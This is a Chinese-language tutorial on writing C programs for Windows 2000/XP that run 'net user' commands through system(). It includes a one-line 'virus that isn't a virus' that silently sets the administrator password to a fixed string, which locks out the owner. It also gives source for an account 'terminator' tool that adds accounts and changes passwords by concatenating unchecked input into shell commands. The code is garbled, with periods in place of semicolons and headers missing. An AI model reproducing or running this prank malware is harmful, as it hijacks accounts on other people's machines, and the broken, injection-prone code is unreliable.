其实这两个东西很简单,就是运用了"system"
函数调用DOS中的"net user"命令
简介"net user": 查看一个用户的详细信息:net user *** /*以下的"***"代表用户名,"###"代表密码*/
添加一个用户 :net user *** /add
删除一个用户 :net user *** /del
更改一个用户的密码 :net user *** ###
这样一来,整个东西就清晰多了.
所以:"不是病毒的病毒"的源代码就相当简单(一句话)
main()
{
system("net user administrator woshihaichong").
}
这是"不是病毒的病毒"的相关文件(包括:源代码,执行文件,简介)
那好,设计"2000/XP 用户名/密码 终结者"的大概结构与思路相信大家都有点头绪了.
刚开是设计的时候,我就把它定为 2 个部分:功能部分与引导部分.
功能部分就是那七个功能的模块,每个功能都是一个 void 函数,然后在引导体(主
函数)中用"switch"调用.
2000/XP 用户名/密码 终结者"的主要
函数与思路:
它用了"switch"(界面的选择),"system"(DOS命令的调用),"while(getch()=="")"(按任意键继续),"strcat"(DOS命令的合成).
运用"strcat"来合成命令:(比如添加一个用户的模块)
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ". /*"fj"是"附加","kg"是"空格","syscmd"是需执行的命令体*/
printf("Name=").scanf("%s",&.name).printf("\n").
strcat(syscmd,name).strcat(syscmd,kg).strcat(syscmd,fj). /*用"strcat"把不同的部分合起来,构成最终的"syscmd"*/
system(syscmd).printf("Press Any Key To Continue . . . ").
while(getch()=="").
}
运用"switch"就不用多说了,另外的
函数上面包括了.
"2000/XP 用户名/密码 终结者"源代码:
#include
#include
void lau() /*查看所有用户的函数*/
{
system("net user").printf("\n").
printf("Press Any Key To Continue . . . ").
while(getch()=="").
}
void caup() /*改变一个用户密码的函数*/
{
char syscmd[80]="net user ",name[35],passwork[25],kg[]=" ".
printf("Name=").
scanf("%s",&.name).printf("\n").
printf("Passwork=").
scanf("%s",&.passwork).printf("\n").
strcat(syscmd,name).strcat(syscmd,kg).strcat(syscmd,passwork).
system(syscmd).
printf("Press Any Key To Continue . . . ").
while(getch()=="").
}
void aau() /*添加一个用户的函数*/
{
char syscmd[65]="net user ",name[35],fj[]=" /add",kg[]=" ".
printf("Name=").scanf("%s",&.name).printf("\n").
strcat(syscmd,name).strcat(syscmd,kg).strcat(syscmd,fj).
system(syscmd).printf("Press Any Key To Continue . . . ").
while(getch()=="").
}